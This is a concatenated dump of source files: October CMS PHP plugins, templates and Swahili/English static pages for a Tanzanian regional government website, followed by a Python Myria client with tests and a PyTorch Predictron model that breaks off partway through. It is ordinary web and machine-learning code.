class="right-sidebar-main-content"> <!-- ul.announcements-listing>li*6>.calender-date>span.calender-month{Jan}+.calender-day{01}^.meta-content>h4>lorem15^+a[href="single-news.html"]{read more}|c --> <ul class="announcements-listing news-listing"> <li> <div class="calender-date"> <span class="calender-month">Jan</span> <span class="calender-day">01</span> <!-- /.calender-day --> </div> <!-- /.calender-date --> <div class="meta-content"> <img src="http://dummyimage.com/793x450/888888/fff" alt=""> <h4>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum doloremque laborum, necessitatibus ipsa dolorum atque?</h4> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolorem numquam nemo, distinctio assumenda et error commodi nobis quas nulla in.</p> <a href="single-news.html">read more</a> </div> <!-- /.meta-content --> </li> <li> <div class="calender-date"> <span class="calender-month">Jan</span> <span class="calender-day">01</span> <!-- /.calender-day --> </div> <!-- /.calender-date --> <div class="meta-content"> <img src="http://dummyimage.com/793x450/888888/fff" alt=""> <h4>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum doloremque laborum, necessitatibus ipsa dolorum atque?</h4> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolorem numquam nemo, distinctio assumenda et error commodi nobis quas nulla in.</p> <a href="single-news.html">read more</a> </div> <!-- /.meta-content --> </li> <li> <div class="calender-date"> <span class="calender-month">Jan</span> <span class="calender-day">01</span> <!-- /.calender-day --> </div> <!-- /.calender-date --> <div class="meta-content"> <img src="http://dummyimage.com/793x450/888888/fff" alt=""> <h4>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum doloremque laborum, necessitatibus ipsa dolorum atque?</h4> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolorem numquam nemo, distinctio assumenda et error commodi nobis quas nulla in.</p> <a href="single-news.html">read more</a> </div> <!-- /.meta-content --> </li> <li> <div class="calender-date"> <span class="calender-month">Jan</span> <span class="calender-day">01</span> <!-- /.calender-day --> </div> <!-- /.calender-date --> <div class="meta-content"> <img src="http://dummyimage.com/793x450/888888/fff" alt=""> <h4>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum doloremque laborum, necessitatibus ipsa dolorum atque?</h4> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolorem numquam nemo, distinctio assumenda et error commodi nobis quas nulla in.</p> <a href="single-news.html">read more</a> </div> <!-- /.meta-content --> </li> <li> <div class="calender-date"> <span class="calender-month">Jan</span> <span class="calender-day">01</span> <!-- /.calender-day --> </div> <!-- /.calender-date --> <div class="meta-content"> <img src="http://dummyimage.com/793x450/888888/fff" alt=""> <h4>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum doloremque laborum, necessitatibus ipsa dolorum atque?</h4> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dolorem numquam nemo, distinctio assumenda et error commodi nobis quas nulla in.</p> <a href="single-news.html">read more</a> </div> <!-- /.meta-content --> </li> </ul> <!-- /.announcements-listing --> <nav class="text-center"> <ul class="pagination"> <li> <a href="#" aria-label="Previous"> <span aria-hidden="true">&laquo;</span> </a> </li> <li class="active"><a href="#">1</a></li> <li><a href="#">2</a></li> <li><a href="#">3</a></li> <li><a href="#">4</a></li> <li><a href="#">5</a></li> <li> <a href="#" aria-label="Next"> <span aria-hidden="true">&raquo;</span> </a> </li> </ul> </nav> </div> <!-- /.right-sidebar-main-content --> <!--/END MAIN CONTENT--> </div> <!-- /.middle-content-wrapper --> <!--/MIDDLE CONTENT--><file_sep>/web/plugins/gwf/gallery/updates/builder_table_create_gwf_gallery_videos_2.php <?php namespace Gwf\Gallery\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfGalleryVideos2 extends Migration { public function up() { Schema::create('gwf_gallery_videos', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('title')->nullable(false)->unsigned(false)->default(null); $table->text('description'); $table->string('url', 255); $table->boolean('activation_status'); $table->date('created_at'); $table->timestamp('updated_at'); }); } public function down() { Schema::dropIfExists('gwf_gallery_videos'); } } <file_sep>/plugins/gwf/quicklink/components/Quicklinks.php <?php namespace Gwf\Quicklink\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Quicklink\Models\QuickLink; class Quicklinks extends ComponentBase { public $quicklinks; public function componentDetails() { return [ 'name' => 'QuickLinks List', 'description' => 'List of Quicklinks' ]; } public function onRun(){ $this->quicklinks = $this->loadQuicklink(); } protected function loadQuicklink(){ return Quicklink::all(); } } <file_sep>/web/plugins/gwf/quicklink/Plugin.php <?php namespace Gwf\Quicklink; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Quicklink\Components\Quicklinks' => 'quicklinks' ]; } public function registerSettings() { } } <file_sep>/plugins/gwf/profiles/updates/builder_table_update_gwf_profiles_profiles.php <?php namespace Gwf\Profiles\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfProfilesProfiles extends Migration { public function up() { Schema::table('gwf_profiles_profiles', function($table) { $table->string('slug', 250); }); } public function down() { Schema::table('gwf_profiles_profiles', function($table) { $table->dropColumn('slug'); }); } } <file_sep>/web/plugins/gwf/welcomenote/updates/builder_table_create_gwf_welcomenote_welcome_notes.php <?php namespace Gwf\Welcomenote\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfWelcomenoteWelcomeNotes extends Migration { public function up() { Schema::create('gwf_welcomenote_welcome_notes', function($table) { $table->engine = 'InnoDB'; $table->increments('id')->unsigned(); $table->string('person', 150); $table->string('title', 250); $table->text('content'); $table->timestamp('created_at'); $table->timestamp('updated_at'); $table->integer('recorder'); }); } public function down() { Schema::dropIfExists('gwf_welcomenote_welcome_notes'); } } <file_sep>/web/themes/mikumi/content/static-pages-sw/mission.htm [viewBag] meta_title = "Ifakara" meta_description = "Dhima na Dira" title = "Dira na Mwelekeo" == <p style="text-align: left;"><strong>DIRA</strong></p> <p> “Kuwa Taasisi ya Mfano nchini kwa kutoa huduma bora katika kushauri masuala ya kiuchumi na kijamii kwa wadau wake wote”.</p> <p>.<span> </span><strong>MWELEKEO</strong></p> <p>Kuimarisha mifumo ya Serikali za mitaa na kuratibu huduma maendeleo ya Jamii na za kiuchumi kwa wadau wetu kwa kutoa ushauri, huduma za kitaalam na kuelekeza mambo ya kisheria kwa wananchi wote wa mkoa wa Mwanza”</p><file_sep>/plugins/gwf/dashboardlinks/Plugin.php <?php namespace gwf\Dashboardlinks; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\dashboardlinks\Components\Dashboard' => 'Dashboard' ]; } public function registerSettings() { } } <file_sep>/web/plugins/gwf/gallery/Plugin.php <?php namespace Gwf\Gallery; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Gallery\Components\GalleryList' => 'GalleryList', 'Gwf\Gallery\Components\GalleryDetails' => 'GalleryDetails', 'Gwf\Gallery\Components\VideoList' => 'VideoList', 'Gwf\Gallery\Components\LatestVideo' => 'LatestVideo' ]; } public function registerSettings() { } } <file_sep>/themes/selous/layouts/simple-page.htm description = "A layout to display simple pages" [localePicker] forceUrl = 0 [staticPage] == {% partial 'header' %} <!-- MAIN CONTENT--> <div class="container white"> <!-- MIDDLE CONTENT --> <div class="middle-content-wrapper right-sidebar-aligner"> <h1 class="home-content-title">{% if this.page.title %}{{ this.page.title}}{% endif %}</h1> <hr class="home-content-hr"> <!--START MAIN CONTENT--> <div class="right-sidebar-main-content"> {% component 'staticPage' %} </div> <!-- /.right-sidebar-main-content --> <!--/END MAIN CONTENT--> </div> <!-- /.middle-content-wrapper --> <!--/MIDDLE CONTENT--> {% partial 'right-sidebar' %} {% partial 'footer' %}<file_sep>/themes/mikumi/content/static-pages-en/livestock.htm [viewBag] == <p><strong>Livestock Production</strong></p> <p>Tanzania’s livestock population has been increasing by 5% per anum. Its 21.3 million large herd of cattle makes it the largest in southern Africa. However, on the downside, 97% of all animals are kept by smallholders who are often faced with poor productivity and yield.Mwanza region has the highest livestock density in the country and the third largest total herd of all regions. The increased meat production for intra and inter-regional consumption, hides and skins for domestic and export must have high priority. Mwanza Region is endowed with good quality pasture land (287,319Ha) with a livestock population distributed vis 1.3 million cattle, 500,000 goats, and 150,000 sheep. This presents an excellent opportunity for the establishment of Commercial Ranches and Livestock Multiplication Units (LMU). Specifically in Mabuku (62 Km from Mwanza City) in Misungwi District, there is about 10,000 Ha of land with a cattle capacity of 6,000 livestock.</p> <p><strong>Meat Processing</strong></p> <p>Mwanza is strategically located in the zone to house a modern meat processing plant. The entire zone is endowed with large number of livestock and a centrally place meat processing plant will definitely provide leverage to all other regions. In addition, a modern abattoir would be a timely investment through public-private partnership initiative. Mwanza Region alone enjoys a livestock population of 1.3 million cattle, 500,000 goats, and 150,000 sheep. Target districts for locating these investments include: Nyamagana and Ilemela District Kwimba and Sengerema Districts</p><file_sep>/themes/selous/content/static-pages/health.htm [viewBag] title = "Health" url = "/health" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 ==<file_sep>/plugins/gwf/contactus/components/contactform/default.htm {% set contactinfo = __SELF__.contactinfo %} <!--START RIGHT SIDEBAR CONTENTE SECTION--> <div class="right-sidebar-content div-match-height"> <h1 class="page-title">Contact Us</h1> <!-- copy --> <div class="confirm-container"> {% flash success %} <div class="alert alert-success">{{ message }}</div> {% endflash %} {% flash error %} <div class="alert alert-error">{{ message }}</div> {% endflash %} </div> <div id="loading"> <!-- submiting feedback ........ --> <img width="300px" height="300px" src="{{ 'plugins/gwf/contactus/assets/image/animation.gif'}}" /> </div> <!-- end copy --> <div class="contact" id="contact"> <form data-request="onSend" data-request-redirect="contactus-success" method="post"> ` <!-- <form action="" method="post"> data-request-redirect="contactus-success"--> <p> <input type="text" name="name" placeholder="Enter Your Name" autofocus> </p> <span style="color:red">{{ errors.first('name') }}</span> <p> <input type="text" name="email" placeholder="Enter Your Email"> </p> <span style="color:red">{{ errors.first('email') }}</span> <p> <input type="text" name="subject" placeholder="Enter the Subject"> </p> <span style="color:red">{{ errors.first('subject') }}</span> <p> <textarea name="message" id="message" cols="30" rows="10"></textarea> <span style="color:red">{{ errors.first('message') }}</span> </p> <p> <button type="submit" name="send" id="sendfeedback" class="btn btn-primary">SEND MESSAGE</button> </p> </form> </div> <!-- /.contact form --> <div class="contact-details"> <h4>Contact Details</h4> <ul> {% for contact in contactinfo %} <li>{{ contact.post_address }}, <br> {{ contact.physical_address }} <li><strong>Telephone: </strong>{{ contact.phone }}</li> <li><strong>Mobile: </strong>{{ contact.mobile }}</li> <li><strong>Fax: </strong>{{ contact.fax }}</li> <li><strong>Email: </strong>{{ contact.email }}</li> </br> {% endfor %} </ul> </div> </div> <file_sep>/plugins/gwf/profiles/updates/builder_table_create_gwf_profiles_profiles.php <?php namespace Gwf\Profiles\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfProfilesProfiles extends Migration { public function up() { Schema::create('gwf_profiles_profiles', function($table) { $table->engine = 'InnoDB'; $table->increments('id')->unsigned(); $table->string('salutation', 15); $table->string('name', 250); $table->string('title', 250); $table->text('bio'); $table->string('image_url', 250); }); } public function down() { Schema::dropIfExists('gwf_profiles_profiles'); } } <file_sep>/web/plugins/gwf/events/updates/builder_table_update_gwf_events_events_5.php <?php namespace Gwf\Events\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfEventsEvents5 extends Migration { public function up() { Schema::table('gwf_events_events', function($table) { $table->string('location', 250); $table->string('audience', 250); $table->string('guest_of_honor', 250); }); } public function down() { Schema::table('gwf_events_events', function($table) { $table->dropColumn('location'); $table->dropColumn('audience'); $table->dropColumn('guest_of_honor'); }); } } <file_sep>/web/plugins/gwf/statistics/updates/builder_table_create_gwf_statistics_statistics.php <?php namespace gwf\Statistics\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfStatisticsStatistics extends Migration { public function up() { Schema::create('gwf_statistics_statistics', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('title', 250); $table->string('value', 250); }); } public function down() { Schema::dropIfExists('gwf_statistics_statistics'); } } <file_sep>/themes/mikumi/content/static-pages/economy-and-production.htm [viewBag] title = "Economy and Production" url = "/economy-and-production" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 == <h1>SEKSHENI YA UCHUMI NA UZALISHAJI</h1> <p><strong>Seksheni ya Uchumi na Uzalishaji</strong></p> <p>Seksheni ya Uchumi na Uzalishaji ina lengo la kutoa uwezeshaji wa kitaalamu kuhusu sekta za uchumi na uzalishaji kwa Mamlaka za Serikali za Mitaa katika Mkoa. Seksheni hii inaongozwa na Katibu Tawala Msaidizi ambaye anawajibika kwa Katibu Tawala wa Mkoa</p> <p><strong><br>Majukumu ya Seksheni ya Uchumi na Uzalishaji</strong></p> <p>•Kuratibu utekelezaji wa sera za Kilimo, Mifugo, Ushirika, Misitu, Uhifadhi, Uvuvi, Viwanda, Biashara na Masoko katika Mkoa</p> <p> <br> </p> <p>•Kuzijengea uwezo Mamlaka za Serikali za Mitaa katika Mkoa katika kutoa huduma kwenye nyanja za Kilimo, Mifugo, Ushirika, Misitu, Uhifadhi, Uvuvi, Viwanda, Biashara na Masoko</p> <p> <br> </p> <p>•Kuzisaidia na kuzishauri Mamlaka za Serikali za Mitaa juu ya teknolojia zinazofaa na za gharama nafuu katika sekta za uchumi na uzalishaji</p> <p> <br> </p> <p>•Kusajili vyama/vikundi vya ushirika katika Mkoa</p> <p> <br> </p> <p>•Kuzishauri Mamlaka za Serikali za Mitaa katika juu ya uanzishaji/uimarishaji na ukaguzi wa vyama vya Ushirika na Akiba na Mikopo</p> <p> <br> </p> <p>•Kusaidia na kuzishauri Mamlaka za Serikali za Mitaa juu ya kuzisimamia kampuni ndogo na za kati</p> <p> <br> </p> <p>•Kuzisaidia na kuzishauri Mamlaka za Serikali za Mitaa katika kutambua maeneo nyeti ya uwekezaji</p> <p> <br> </p> <p>•Kuzisaidia na kuzishauri Mamlaka za Serikali za Mitaa katika kuendeleza na kukuza sekta ya uvuvi na kuzalisha kisasa<span>&nbsp;</span></p> <p> <br> </p> <p>•Kusimamia, kuratibu na kuwezesha masuala yanayohusiana na misitu katika Mkoa</p> <p> <br> </p> <p>•Kuzishauri Mamlaka za Serikali za Mitaa katika usimamizi wa sheria za kulinda wanyamapori<span>&nbsp;</span></p> <p> <br> </p> <p>•Kuzishauri Mamlaka za Serikali za Mitaa katika kuendeleza maeneo ya wanyamapori</p> <p> <br> </p> <p>•Kuzishauri Mamlaka za Serikali za Mitaa katika kusimamia utalii, idadi ya wanyamapori na mienendo yao/safari zao</p> <p> <br> </p> <p>•Kuziwezesha Mamlaka za Serikali za Mitaa katika kutekeleza sheria ya Mazingira No. 2 ya mwaka 2004</p> <p> <br> </p> <p>•Kutoa ujuzi wa kitaalamu kwa Mamlaka za Serikali za Mitaa kwenye masuala yanayohusiana na maeneo/miradi ya umwagiliaji</p> <p> <br> </p> <p>•Kuratibu utekelezaji wa uboreshaji wa taratibu za biashara katika Mkoa<span>&nbsp;</span></p> <p> <br> </p> <p> <br> </p><file_sep>/web/plugins/gwf/complains/Plugin.php <?php namespace gwf\Complains; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Complains\Components\Complainlist' => 'complainForm' ]; } public function registerSettings() { } } <file_sep>/plugins/gwf/welcomenote/updates/builder_table_update_gwf_welcomenote_welcome_notes.php <?php namespace Gwf\Welcomenote\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfWelcomenoteWelcomeNotes extends Migration { public function up() { Schema::table('gwf_welcomenote_welcome_notes', function($table) { $table->string('slug', 250); }); } public function down() { Schema::table('gwf_welcomenote_welcome_notes', function($table) { $table->dropColumn('slug'); }); } } <file_sep>/plugins/gwf/events/updates/builder_table_update_gwf_events_events.php <?php namespace Gwf\Events\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfEventsEvents extends Migration { public function up() { Schema::rename('gwf_events_', 'gwf_events_events'); Schema::table('gwf_events_events', function($table) { $table->increments('id')->unsigned(false)->change(); }); } public function down() { Schema::rename('gwf_events_events', 'gwf_events_'); Schema::table('gwf_events_', function($table) { $table->increments('id')->unsigned()->change(); }); } } <file_sep>/web/plugins/gwf/dashboardlinks/updates/builder_table_create_gwf_dashboardlinks_.php <?php namespace gwf\Dashboardlinks\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfDashboardlinks extends Migration { public function up() { Schema::create('gwf_dashboardlinks_', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->text('name'); $table->text('url'); $table->integer('recorded_by'); $table->boolean('activation_status'); }); } public function down() { Schema::dropIfExists('gwf_dashboardlinks_'); } } <file_sep>/web/plugins/gwf/profiles/updates/builder_table_update_gwf_profiles_profiles_3.php <?php namespace Gwf\Profiles\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfProfilesProfiles3 extends Migration { public function up() { Schema::table('gwf_profiles_profiles', function($table) { $table->integer('recorder'); }); } public function down() { Schema::table('gwf_profiles_profiles', function($table) { $table->dropColumn('recorder'); }); } } <file_sep>/plugins/gwf/publication/updates/builder_table_update_gwf_publication_publications_2.php <?php namespace gwf\Publication\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfPublicationPublications2 extends Migration { public function up() { Schema::table('gwf_publication_publications', function($table) { $table->dropColumn('document_link'); }); } public function down() { Schema::table('gwf_publication_publications', function($table) { $table->text('document_link'); }); } }
c214b514a626d87801a50d2e57b7fcbcd0675a77
[ "JavaScript", "Markdown", "HTML", "PHP" ]
107
PHP
zEkIBriTi/GWF-Updates
168acfdca2b0d20a2586209e3d97a26cab9feb0a
cae38409c12f89169693a9bcc13626727c4802a2
refs/heads/master
<file_sep>import Screen from "./Screen"; import Timeline from "./Timeline"; /** * Canvasを扱うクラス * 描画の更新はこのクラスのみで行う * 描画を更新したい場合は対象に追加 * main.canvas.addRenderObjs(this) * this.render(){hoge} */ class Canvas { canvas: any; renderObjs: Array < any > ; width: number; height: number; ctx: CanvasRenderingContext2D; constructor() { this.canvas = document.getElementById("app"); this.ctx = this.canvas.getContext("2d"); this.renderObjs = []; } init() { Screen.addResizeObj(this); Timeline.addUpdateObjs(this); this.onResize(); } addRenderObjs(obj: object) { // console.log('--- Canvas addRenderObjs ---'); this.renderObjs.push(obj); } setArea() { this.width = document.body.clientWidth; this.height = Math.floor(window.innerHeight - 0.5); this.canvas.width = this.width; this.canvas.height = this.height; } onResize() { // console.log('--- Canvas onResize ---'); this.setArea(); } clear() { this.ctx.clearRect(0, 0, this.width, this.height); } update() { this.render(); } render() { this.clear(); for (let i = 0; i < this.renderObjs.length; i++) { this.renderObjs[i].render(); } } } export default new Canvas(); <file_sep>import Canvas from "./Canvas"; /** * 円を扱うクラス */ export class Circle { x: number; y: number; r: number; c: string; constructor(x: number, y: number, r: number, c: string) { this.x = x; this.y = y; this.r = r; this.c = c; } init() { Canvas.addRenderObjs(this); } render() { // console.log('--- Circle render ---'); Canvas.ctx.beginPath(); Canvas.ctx.arc(this.x, this.y, this.r, 0, Math.PI * 2, true); if (this.c) { Canvas.ctx.fillStyle = this.c; Canvas.ctx.fill(); } else { Canvas.ctx.stroke(); } } } export const rectType = { fill: 'fill', stroke: 'stroke', clear: 'clear', } /** * 矩形を扱うクラス */ export class Rect { x1: number; x2: number; y1: number; y2: number; c: string; type: string; constructor(x1: number, y1: number, x2: number,y2: number, c: string,type:string) { this.x1 = x1; this.x2 = x2; this.y1 = y1; this.y2 = y2; this.c = c; this.type = type; } init() { Canvas.addRenderObjs(this); } render() { // console.log('--- Rect render ---'); Canvas.ctx.beginPath(); switch(this.type) { case rectType.fill: Canvas.ctx.fillStyle = this.c; Canvas.ctx.fillRect(this.x1,this.y1,this.x2,this.y2); Canvas.ctx.fill(); break; case rectType.stroke: Canvas.ctx.strokeStyle = this.c; Canvas.ctx.strokeRect(this.x1,this.y1,this.x2,this.y2); Canvas.ctx.closePath(); break; default:break; } } } <file_sep>/** * 時間を管理 * 定期的に実行したいイベントを追加 * main.timeline.addUpdateObjs(this) * this.update(){hoge} */ class Timeline { timer: number; updateObjs: Array < any > ; constructor() { this.timer = 0; this.updateObjs = []; } init() { this.update(); } addUpdateObjs(obj: any) { this.updateObjs.push(obj); } // play() { // this.update(); // } // stop() { // } update() { for (let i = 0; i < this.updateObjs.length; i++) { this.updateObjs[i].update(); } requestAnimationFrame(this.update.bind(this)); this.timer++; } } export default new Timeline <file_sep>import * as shape from "./shape"; /** * カーソルを管理 */ class Cursor { x: number; y: number; cursorPointer: shape.Circle; constructor() { this.x; this.y; this.cursorPointer = new shape.Circle(0, 0, 20, 'rgba(255,0,0,0.1)'); } init() { this.cursorPointer.init(); window.addEventListener('mousemove', (e) => { this.onMouseMove(e); }); } onMouseMove(e: MouseEvent) { this.setPos(e); this.cursorPointer.x = this.x; this.cursorPointer.y = this.y; } setPos(e: MouseEvent) { this.x = e.pageX; this.y = e.pageY; } } export default new Cursor(); <file_sep># canvas-training ## 使い方 ``` $ yarn $ yarn start ``` ## 実装内容 - canvasを画面サイズに合わせて伸縮 - ランダムな円を生成、60fps周期で再描画 - カーソルを追従する円を生成 <file_sep>import Screen from "./Screen"; import Timeline from "./Timeline"; import Canvas from "./Canvas"; import Cursor from "./Cursor"; import * as shape from "./shape"; /** * 円をランダムに生成 */ class RumCircles { length: number; circle: shape.Circle; circles: Array < shape.Circle > ; constructor(length: number) { this.length = length; this.circles = []; } getRum(type: string) { switch (type) { case 'x': return Math.floor(Math.random() * Canvas.width); break; case 'y': return Math.floor(Math.random() * Canvas.height); break; case 'r': return Math.floor(Math.random() * 100); break; case 'c': var clr = 'rgba('; for (let i = 0; i < 3; i++) { clr = clr + Math.floor(Math.random() * 255) + ','; } clr = clr + Math.floor(Math.random() * 10) / 10 + ')'; return clr; break; default: break; } } init() { for (let i = 0; i < this.length; i++) { this.circles.push( new shape.Circle( Number(this.getRum('x')), Number(this.getRum('y')), Number(this.getRum('r')), String(this.getRum('c')) ) ); this.circles[i].init(); } Timeline.addUpdateObjs(this); } update() { if (Timeline.timer % 60 !== 0) return; for (let i = 0; i < this.length; i++) { // console.log(this.circles[i]); this.circles[i].x = Number(this.getRum('x')); this.circles[i].y = Number(this.getRum('y')); this.circles[i].r = Number(this.getRum('r')); this.circles[i].c = String(this.getRum('c')); } } } const start = () => { const rCircles = new RumCircles(60); const rect1 = new shape.Rect(10,10,100,100,'rgba(0,0,0,0.5)',shape.rectType.fill); const rect2 = new shape.Rect(20,20,100,100,'rgba(0,0,0,0.5)',shape.rectType.fill); Screen.init(); Timeline.init(); Canvas.init(); Cursor.init(); rect1.init(); rect2.init(); rCircles.init(); } window.addEventListener('load', start);
79ff6e28b151c23201728beed91bda3f01e47f75
[ "Markdown", "TypeScript" ]
6
TypeScript
NagataHiroaki/canvas-training
255d0003fb34b5430cfe4636311a414b574ae5eb
392168f101a6142450ffdb37a20712e4b445e714
refs/heads/master
<file_sep>from httmock import urlmatch, HTTMock from json import dumps as jstr import unittest from myria import MyriaConnection def query(): """Simple empty query""" return {'rawQuery': 'empty', 'logicalRa': 'empty', 'fragments': []} def query_status(query, query_id=17, status='SUCCESS'): return {'url': 'http://localhost:12345/query/query-%d' % query_id, 'queryId': query_id, 'rawQuery': query['rawQuery'], 'logicalRa': query['rawQuery'], 'plan': query, 'submitTime': '2014-02-26T15:19:54.505-08:00', 'startTime': '2014-02-26T15:19:54.611-08:00', 'finishTime': '2014-02-26T15:23:34.189-08:00', 'elapsedNanos': 219577567891, 'status': status} query_counter = 0 @urlmatch(netloc=r'localhost:12345') def local_mock(url, request): global query_counter if url.path == '/query': body = query_status(query(), 17, 'ACCEPTED') headers = { 'Location': 'http://localhost:12345/query/query-17', 'X-Count': 42} query_counter = 2 return {'status_code': 202, 'content': body, 'headers': headers} elif url.path == '/query/query-17': if query_counter == 0: status = 'SUCCESS' status_code = 201 else: status = 'ACCEPTED' status_code = 202 query_counter -= 1 body = query_status(query(), 17, status) headers = {'Location': 'http://localhost:12345/query/query-17'} return {'status_code': status_code, 'content': body, 'headers': headers} elif url.path == '/query/validate': return request.body return None class TestQuery(unittest.TestCase): def __init__(self, args): with HTTMock(local_mock): self.connection = MyriaConnection(hostname='localhost', port=12345) unittest.TestCase.__init__(self, args) def test_submit(self): q = query() with HTTMock(local_mock): status = self.connection.submit_query(q) self.assertEquals(status, query_status(q, status='ACCEPTED')) self.assertEquals(query_counter, 1) def test_execute(self): q = query() with HTTMock(local_mock): status = self.connection.execute_query(q) self.assertEquals(status, query_status(q)) def test_validate(self): q = query() with HTTMock(local_mock): validated = self.connection.validate_query(q) self.assertEquals(validated, q) def test_query_status(self): q = query() with HTTMock(local_mock): status = self.connection.get_query_status(17) self.assertEquals(status, query_status(q)) def x_test_queries(self): with HTTMock(local_mock): count, _ = self.connection.queries() self.assertEquals(42, count) <file_sep>from setuptools import setup, find_packages setup( name='myria-python', version='1.1.3', author='<NAME>', author_email='<EMAIL>', packages=find_packages(), scripts=[], url='https://github.com/uwescience/myria', description='Python interface for Myria.', long_description=open('README.rst').read(), install_requires=["requests", "requests_toolbelt", "messytables", "unicodecsv"], entry_points={ 'console_scripts': [ 'myria_upload = myria.cmd.upload_file:main' ], }, ) <file_sep>Myria Python ============ [![Build Status](https://travis-ci.org/uwescience/myria-python.svg?branch=master)](https://travis-ci.org/uwescience/myria-python) [![Coverage Status](https://img.shields.io/coveralls/uwescience/myria-python.svg)](https://coveralls.io/r/uwescience/myria-python?branch=master) A Python library for exercising Myria's REST interface. <file_sep>version = "1.1-dev" from .connection import * from .errors import * import cmd
7f6f684d0553392f5c6bb5c5499b5792170a09ea
[ "Markdown", "Python" ]
4
Python
sophieclayton/myria-python
29ed82696e92087570d4658bcf5e254197a5842d
1523bfc386a844cfce22bd8decd3969fc697656d
refs/heads/master
<repo_name>cying9/predictron-pyt<file_sep>/predictron.py import torch import torch.nn as nn from torch.optim import Adam import time from copy import deepcopy from utils import init_params, MLP def clones(module, N): "Produce N identical layers." return nn.ModuleList([deepcopy(module) for _ in range(N)]) class Core(nn.Module): def __init__(self, input_dims, hid_dim=32, kernel_size=(3, 3), bn_kwargs={}): super(Core, self).__init__() # preparation C, H, W = input_dims assert H == W fc_dim = C * H * W # flatten dimensions # padding to retain the layer size padding = [int((ks - 1) / 2) for ks in kernel_size] self.flatten = nn.Flatten() # value network self.value_net = MLP([fc_dim, hid_dim, H], batch_norm=True, bn_kwargs=bn_kwargs) # internal abstraction self.conv_net = nn.Sequential( nn.Conv2d(hid_dim, hid_dim, kernel_size=kernel_size, padding=padding), nn.BatchNorm2d(hid_dim), nn.ReLU()) # MRP model self.reward_net = MLP([fc_dim, hid_dim, H], batch_norm=True, bn_kwargs=bn_kwargs) # sigmoid to ensure the gammas and lambdas are in [-1, 1] self.gamma_net = MLP([fc_dim, hid_dim, H], batch_norm=True, activ_out=nn.Sigmoid, bn_kwargs=bn_kwargs) self.lambda_net = MLP([fc_dim, hid_dim, H], batch_norm=True, activ_out=nn.Sigmoid, bn_kwargs=bn_kwargs) # internal transition network self.state_net = nn.Sequential( nn.Conv2d(hid_dim, hid_dim, kernel_size=kernel_size, padding=padding), nn.BatchNorm2d(hid_dim, **bn_kwargs), nn.ReLU(), nn.Conv2d(hid_dim, hid_dim, kernel_size=kernel_size, padding=padding), nn.BatchNorm2d(hid_dim, **bn_kwargs), nn.ReLU()) def forward(self, obs): # calculate value for the current embeded state val = self.value_net(self.flatten(obs)) # generate up-level state representation by one more convolutions obs = self.conv_net(obs) obs_flatten = self.flatten(obs) # MRP model rwd = self.reward_net(obs_flatten) gam = self.gamma_net(obs_flatten) lam = self.lambda_net(obs_flatten) # internal transition obs = self.state_net(obs) return obs, val, rwd, gam, lam class Predictron(nn.Module): def __init__(self, input_dims, hid_dim=32, n_conv_blocks=2, kernel_size=(3, 3), core_depth=16, lr=1e-3, weight_decay=1e-4, bn_momentum=3e-4, max_grad_norm=10., device='cpu' ): super().__init__() C, H, W = input_dims assert H == W self.core_depth = core_depth self.max_grad_norm = max_grad_norm self.device = torch.device(device=device) self.buffer = Buffer(depth=core_depth, rdim=H) # convolutional padding to retain the layer size padding = [int((ks - 1) / 2) for ks in kernel_size] # a two-layer convolutional network as the state representation self.embed = nn.Sequential( nn.Conv2d(C, hid_dim, kernel_size=kernel_size, padding=padding), nn.BatchNorm2d(hid_dim, momentum=bn_momentum), nn.ReLU(), nn.Conv2d(hid_dim, hid_dim, kernel_size=kernel_size, padding=padding), nn.BatchNorm2d(hid_dim, momentum=bn_momentum), nn.ReLU()).to(self.device) self.cores = clones( Core(input_dims=(hid_dim, H, W), hid_dim=hid_dim, kernel_size=kernel_size), core_depth).to(self.device) self.flatten = nn.Flatten() self.value_net_f = deepcopy(self.cores[0].value_net).to(self.device) self.loss_fn = nn.MSELoss(reduction='mean').to(self.device) self.optim = Adam(self.parameters(), lr=lr, weight_decay=weight_decay) self.apply(init_params) def forward(self, x_in, y_in): x = torch.as_tensor(x_in, dtype=torch.float32, device=self.device) y = torch.as_tensor(y_in, dtype=torch.float32, device=self.device) x = self.embed(x) self.buffer.reset() for core in self.cores: x, val, rwd, gam, lam = core(x) self.buffer.store(rwd, gam, lam, val) val = self.value_net_f(self.flatten(x)) self.buffer.finish_path(last_val=val) pret, g_lam_ret = self.buffer.get() y_tile = y.unsqueeze(1).expand_as(pret) ploss = self.loss_fn(pret, y_tile) lloss = self.loss_fn(g_lam_ret, y) loss = ploss + lloss self.optim.zero_grad() loss.backward() 